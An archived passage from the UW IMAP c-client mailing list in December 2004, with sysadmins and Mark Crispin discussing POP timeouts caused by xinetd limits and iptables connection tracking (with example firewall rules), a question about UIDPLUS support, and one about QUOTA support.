c-client@u.washington.edu Subject: Re: Desperate : ipop timeouts In-Reply-To: <200412161652.iBGGqWkw022153@osprey.magnet.fsu.edu> References: <200412161652.iBGGqWkw022153@osprey.magnet.fsu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The connection timeouts that you are getting have nothing to do with ipop3d; they indicate that ipop3d has not even started! So, you were on the right track with increasing the number of connections allows in xinetd. Unfortunately, problems such as these require more investigation before any definite solution can be found. The first thing to determine is what your POP users "new mail check interval" is. Unlike IMAP, POP requires a new connection for each check of new mail. So, if the user is checking for new mail every second, a new POP session is opened every second! Opening a POP session is expensive; SSL/TLS encryption needs to be negotiated, login authentication needs to be negotiated, and the mailbox has to be processed. On top of that, [x]inetd limits the number of POP sessions that can be spawned each minute. So, take a look at the mail syslog and see if you can find any obvious users who are abusively checking for new mail at an excessive rate. Quite frankly, people who need faster than once/minute checking are badly in need of a life; and I personally advocate once every 3 minutes. Your server should be more than capable of the user load. I think that you are running up against [x]inetd. Also -- gently -- suggest to your users that they really should be using IMAP instead of POP. IMAP notifies of new mail within the session, so it isn't necessary with a good client (such as Pine) to re-open new sessions all the time. I can't speak intelligently about what either Outlook or Eudora may do with IMAP; it sufficies for me to know that Pine is better. :-) -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Dec 17 05:06:26 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Dec 2004 05:06:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBHD6P9d031601 for ; Fri, 17 Dec 2004 05:06:25 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHD6M1N002963 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Dec 2004 05:06:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBHD6BR0017458; Fri, 17 Dec 2004 05:06:12 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHD4eAc063622 for ; Fri, 17 Dec 2004 05:04:40 -0800 Received: from osprey.magnet.fsu.edu (osprey.magnet.fsu.edu [146.201.230.20]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBHD4dsF021156 for ; Fri, 17 Dec 2004 05:04:39 -0800 Received: from osprey.magnet.fsu.edu (osprey.magnet.fsu.edu [146.201.230.20]) by osprey.magnet.fsu.edu (8.12.9/8.12.9) with SMTP id iBHD4Rkw024823 for ; Fri, 17 Dec 2004 08:04:27 -0500 (EST) Message-Id: <200412171304.iBHD4Rkw024823@osprey.magnet.fsu.edu> Date: Fri, 17 Dec 2004 08:04:27 -0500 (EST) Reply-To: Tom Combs Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Combs To: c-client@u.washington.edu Subject: Re: Desperate : ipop timeouts MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: sDK1XCB4+APVx1VsLRkRKQ== X-OSPREY-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, It turns out that the culprit with the pop/imap time outs was the iptables packet filtering. Turn this off and the intermittent time outs go away. Knocked myself out for two days and the fix took all of 10 seconds - that's the way it always seems to go. I don't know if my packet filtering ruleset is flawed or if iptables just can't handle the high demand of an email server for 600 people. Thanks to Mark for his quick, detailed response. Now I can go on holiday with some peace of mind! Best wishes, Tom Combs ------------- Begin Forwarded Message ------------- Date: Thu, 16 Dec 2004 09:06:31 -0800 (PST) From: Mark Crispin To: Tom Combs cc: c-client@u.washington.edu Subject: Re: Desperate : ipop timeouts MIME-Version: 1.0 X-NHMFL-MailScanner: Found to be clean X-MailScanner-MCPCheck: MCP-Clean, MCP-Checker (score=0, required 1) X-NHMFL-MailScanner-SpamCheck: not spam, SpamAssassin (score=-2.599, required 5, autolearn=not spam, BAYES_00 -2.60) X-MailScanner-From: mrc@cac.washington.edu X-OSPREY-MailScanner: Found to be clean The connection timeouts that you are getting have nothing to do with ipop3d; they indicate that ipop3d has not even started! So, you were on the right track with increasing the number of connections allows in xinetd. Unfortunately, problems such as these require more investigation before any definite solution can be found. The first thing to determine is what your POP users "new mail check interval" is. Unlike IMAP, POP requires a new connection for each check of new mail. So, if the user is checking for new mail every second, a new POP session is opened every second! Opening a POP session is expensive; SSL/TLS encryption needs to be negotiated, login authentication needs to be negotiated, and the mailbox has to be processed. On top of that, [x]inetd limits the number of POP sessions that can be spawned each minute. So, take a look at the mail syslog and see if you can find any obvious users who are abusively checking for new mail at an excessive rate. Quite frankly, people who need faster than once/minute checking are badly in need of a life; and I personally advocate once every 3 minutes. Your server should be more than capable of the user load. I think that you are running up against [x]inetd. Also -- gently -- suggest to your users that they really should be using IMAP instead of POP. IMAP notifies of new mail within the session, so it isn't necessary with a good client (such as Pine) to re-open new sessions all the time. I can't speak intelligently about what either Outlook or Eudora may do with IMAP; it sufficies for me to know that Pine is better. :-) -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. ------------- End Forwarded Message ------------- -- Tom Combs E-mail: combs@magnet.fsu.edu National High Magnetic Field Laboratory Phone: (850) 644-1657 1800 E. Paul Dirac Drive Tallahassee, FL 32310 From pinedev@shivax2.cac.washington.edu Fri Dec 17 05:33:52 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Dec 2004 05:33:52 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBHDXqNU032201 for ; Fri, 17 Dec 2004 05:33:52 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHDXnBP003865 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Dec 2004 05:33:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBHDXgDZ016072; Fri, 17 Dec 2004 05:33:42 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHDWdCk055768 for ; Fri, 17 Dec 2004 05:32:39 -0800 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBHDWcXq029589 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Dec 2004 05:32:39 -0800 Received: from [192.168.1.205] (h00a0cc5b0d4a.ne.client2.attbi.com [65.96.147.245]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.11) with ESMTP id iBHDWV2x030745 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 17 Dec 2004 07:32:31 -0600 Message-Id: <41C2DFEF.3030508@luxsci.com> Date: Fri, 17 Dec 2004 08:32:31 -0500 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: Tom Combs Cc: c-client@u.washington.edu Subject: Re: Desperate : ipop timeouts In-Reply-To: <200412171304.iBHD4Rkw024823@osprey.magnet.fsu.edu> References: <200412171304.iBHD4Rkw024823@osprey.magnet.fsu.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.86.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, We have found that it is the iptables connection state tracking modules that casuse issues like this, due to issues with depth of queue, data storage in the kernel, etc. If you have only iptables rules that do not use connection state tracking, then you should be fine (though you may have to restart the machine to fully switch from connection state tracking to not, as once you start it, some kernel-level flags may get set that keep it up when iptables are used). Also, we have found that the use of "tcpserver" is ligher weight than "xinetd" for connection processing. Best, -Erik Kangas Lux Scientiae Tom Combs wrote: > Hi, > > It turns out that the culprit with the pop/imap time outs was the > iptables packet filtering. Turn this off and the intermittent time > outs go away. Knocked myself out for two days and the fix took all > of 10 seconds - that's the way it always seems to go. > > I don't know if my packet filtering ruleset is flawed or if iptables > just can't handle the high demand of an email server for 600 people. > > Thanks to Mark for his quick, detailed response. > > Now I can go on holiday with some peace of mind! > > Best wishes, > > Tom Combs > > > ------------- Begin Forwarded Message ------------- > > Date: Thu, 16 Dec 2004 09:06:31 -0800 (PST) > From: Mark Crispin > To: Tom Combs > cc: c-client@u.washington.edu > Subject: Re: Desperate : ipop timeouts > MIME-Version: 1.0 > X-NHMFL-MailScanner: Found to be clean > X-MailScanner-MCPCheck: MCP-Clean, MCP-Checker (score=0, required 1) > X-NHMFL-MailScanner-SpamCheck: not spam, SpamAssassin (score=-2.599, required 5, > autolearn=not spam, BAYES_00 -2.60) > X-MailScanner-From: mrc@cac.washington.edu > X-OSPREY-MailScanner: Found to be clean > > The connection timeouts that you are getting have nothing to do with > ipop3d; they indicate that ipop3d has not even started! So, you were on > the right track with increasing the number of connections allows in > xinetd. > > Unfortunately, problems such as these require more investigation before > any definite solution can be found. The first thing to determine is what > your POP users "new mail check interval" is. Unlike IMAP, POP requires a > new connection for each check of new mail. So, if the user is checking > for new mail every second, a new POP session is opened every second! > > Opening a POP session is expensive; SSL/TLS encryption needs to be > negotiated, login authentication needs to be negotiated, and the mailbox > has to be processed. On top of that, [x]inetd limits the number of POP > sessions that can be spawned each minute. > > So, take a look at the mail syslog and see if you can find any obvious > users who are abusively checking for new mail at an excessive rate. Quite > frankly, people who need faster than once/minute checking are badly in > need of a life; and I personally advocate once every 3 minutes. > > Your server should be more than capable of the user load. I think that > you are running up against [x]inetd. > > Also -- gently -- suggest to your users that they really should be using > IMAP instead of POP. IMAP notifies of new mail within the session, so it > isn't necessary with a good client (such as Pine) to re-open new sessions > all the time. > > I can't speak intelligently about what either Outlook or Eudora may do > with IMAP; it sufficies for me to know that Pine is better. :-) > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > > ------------- End Forwarded Message ------------- > > > -- > Tom Combs E-mail: combs@magnet.fsu.edu > National High Magnetic Field Laboratory Phone: (850) 644-1657 > 1800 E. Paul Dirac Drive Tallahassee, FL 32310 > -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated kangas@luxsci.com --- http://luxsci.com Office Phone: 1-617-507-2162 Cell Phone: 1-617-596-9558 P.O. Box 326 Luxsci Toll Free: 1-800-441-6612 Westwood, Massachusetts LuxSci FAX: 1-413-332-0598 02090, USA From pinedev@shivax2.cac.washington.edu Fri Dec 17 06:41:59 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Dec 2004 06:41:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBHEfx9C001252 for ; Fri, 17 Dec 2004 06:41:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHEfvEs006038 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Dec 2004 06:41:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBHEfo7v017386; Fri, 17 Dec 2004 06:41:50 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHEeSWh017532 for ; Fri, 17 Dec 2004 06:40:28 -0800 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBHEeQFM014215 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 17 Dec 2004 06:40:27 -0800 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.11/8.12.11) with ESMTP id iBHEdBbT011010 for ; Fri, 17 Dec 2004 09:39:11 -0500 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.11/8.12.11/Submit) with ESMTP id iBHEdBhS011006 for ; Fri, 17 Dec 2004 09:39:11 -0500 Message-Id: Date: Fri, 17 Dec 2004 09:39:11 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: Desperate : ipop timeouts In-Reply-To: <41C2DFEF.3030508@luxsci.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Dec 2004, Erik Kangas wrote: > We have found that it is the iptables connection state tracking modules > that casuse issues like this, due to issues with depth of queue, data > storage in the kernel, etc. If you have only iptables rules that do not > use connection state tracking, then you should be fine (though you may have > to restart the machine to fully switch from connection state tracking to > not, as once you start it, some kernel-level flags may get set that keep it > up when iptables are used). You ought to be ok with connection tracking (which is required for things like incoming and outgoing FTP, unless everyone agrees on active/passive mode) as long as you have ACCEPT rules without the --syn qualifier before RedHat's default ESTABLISHED line. I.e., this is good: # /etc/sysconfig/iptables -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 993 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 995 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 110 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 143 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited And this can be bad under high load: -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 993 --syn -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 995 --syn -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 110 --syn -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 143 --syn -j ACCEPT -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Fri Dec 17 07:24:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Dec 2004 07:24:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBHFO79n002363 for ; Fri, 17 Dec 2004 07:24:07 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHFO6Di007161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Dec 2004 07:24:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBHFNt90018030; Fri, 17 Dec 2004 07:23:56 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBHFMqPg032750 for ; Fri, 17 Dec 2004 07:22:52 -0800 Received: from web50907.mail.yahoo.com (web50907.mail.yahoo.com [206.190.38.127]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iBHFMpJ2023742 for ; Fri, 17 Dec 2004 07:22:51 -0800 Received: (qmail 28039 invoked by uid 60001); 17 Dec 2004 15:22:50 -0000 Received: from [128.107.253.44] by web50907.mail.yahoo.com via HTTP; Fri, 17 Dec 2004 07:22:50 PST Message-Id: <20041217152250.28037.qmail@web50907.mail.yahoo.com> Date: Fri, 17 Dec 2004 07:22:50 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Biggs To: c-client@u.washington.edu Subject: Support for UIDPLUS extension? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have a message server that supports the UIDPLUS extension, and I'd like to be able to invoke the UID EXPUNGE command using c-client. I didn't see anything in the API doc which looked like it would do this. Is this an extension I should develop myself, or did I just not look hard enough? Thanks! Andrew -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 17 17:40:29 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Dec 2004 17:40:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBI1eSID025010 for ; Fri, 17 Dec 2004 17:40:28 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBI1eRg7032210 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Dec 2004 17:40:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBI1eFfc017158; Fri, 17 Dec 2004 17:40:15 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBI1ciRV119898 for ; Fri, 17 Dec 2004 17:38:44 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBI1ch9Z013922 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Dec 2004 17:38:43 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBI1chgq016925; Fri, 17 Dec 2004 17:38:43 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBI1cg3Q024377 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 17 Dec 2004 17:38:42 -0800 Message-Id: Date: Fri, 17 Dec 2004 17:38:43 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Biggs Cc: c-client@u.washington.edu Subject: Re: Support for UIDPLUS extension? In-Reply-To: <20041217152250.28037.qmail@web50907.mail.yahoo.com> References: <20041217152250.28037.qmail@web50907.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It would not be very difficult to implement UIDPLUS in the IMAP client code, especially just UID EXPUNGE. However, it is quite difficult to implement UIDPLUS in c-client in general -- in particular, for non-IMAP mail stores. UIDPLUS may happen in the future, but I can't predict "when" just now. On Fri, 17 Dec 2004, Andrew Biggs wrote: > I have a message server that supports the UIDPLUS > extension, and I'd like to be able to invoke the UID > EXPUNGE command using c-client. I didn't see anything > in the API doc which looked like it would do this. Is > this an extension I should develop myself, or did I > just not look hard enough? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Dec 18 23:21:43 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 18 Dec 2004 23:21:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBJ7LhgX002545 for ; Sat, 18 Dec 2004 23:21:43 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBJ7Lg6N011899 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 18 Dec 2004 23:21:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBJ7LQdQ011274; Sat, 18 Dec 2004 23:21:27 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBJ7Jj49015592 for ; Sat, 18 Dec 2004 23:19:45 -0800 Received: from prime.gushi.org (prime.gushi.org [65.125.228.130]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBJ7Jh1q005201 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Sat, 18 Dec 2004 23:19:44 -0800 Received: from prime.gushi.org (danm@localhost.com [127.0.0.1] (may be forged)) by prime.gushi.org (8.13.1/8.13.1) with ESMTP id iBJ7KB7G084012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 19 Dec 2004 02:20:11 -0500 (EST) Received: from localhost (danm@localhost) by prime.gushi.org (8.13.1/8.13.1/Submit) with ESMTP id iBJ7KAhw084008 for ; Sun, 19 Dec 2004 02:20:10 -0500 (EST) Message-Id: <20041219021730.J83248@prime.gushi.org> Date: Sun, 19 Dec 2004 02:20:10 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Dan Mahoney, System Admin" To: c-client@u.washington.edu Subject: Quota Support in UW Imap MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hey all, I was wondering if UW Imap had the ability to report the system quota of the mail directory (i.e. the home directory) to users who were using the QUOTA extension. I know this is a pretty standard system call (I think)...so it shouldn't be too difficult to implement. I know imapd can recognize when it's going to go over, but I don't know if it can be used, for example, with an imap mail client (I"m using SquirrelMail) that's asking what the quota is. Any response on this would be much appreciated. -Dan Mahoney -- --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org --------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Dec 19 02:08:50 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Dec 2004 02:08:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBJA8otc008571 for ; Sun, 19 Dec 2004 02:08:50 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBJA8m4P015967 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 19 Dec 2004 02:08:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBJA8fc6019444; Sun, 19 Dec 2004 02:08:42 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBJA7KiR015590 for ; Sun, 19 Dec 2004 02:07:20 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBJA7JGT019110 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 19 Dec 2004 02:07:19 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBJA7J9t022387; Sun, 19 Dec 2004 02:07:19 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBJA7JZp002815; Sun, 19 Dec 2004 02:07:19 -0800 Message-Id: Date: Sun, 19 Dec 2004 02:07:19 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Dan Mahoney, System Admin" Cc: c-client@u.washington.edu Subject: Re: Quota Support in UW Imap In-Reply-To: <20041219021730.J83248@prime.gushi.org> References: <20041219021730.J83248@prime.gushi.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Dec 2004, Dan Mahoney, System Admin wrote: > I was wondering if UW Imap had the ability to report the system quota of the > mail directory (i.e. the home directory) to users who were using the QUOTA > extension. At the current time, the answer is "no". > I know this is a pretty standard system call (I think)...so it shouldn't be > too difficult to implement. Unfortunately, this is not the case; there are at least three different implementations of UNIX quotas that I am aware of, each with different semantics. It would be fairly easy to assume that "all the world is Linux" and implement the QUOTA extension for Linux only; but imapd runs on many platforms besides Linux. A different problem is that the QUOTA extension does more than report quotas; it also allows setting them. To make things more complicated, QUOTA allows the redistribution of quotas within a user's space (the concept of quota root). Finally, IMAP QUOTA isn't defined in terms that directly map to UNIX quota; the suggested resources are STORAGE and MESSAGE, however on UNIX it is typically by 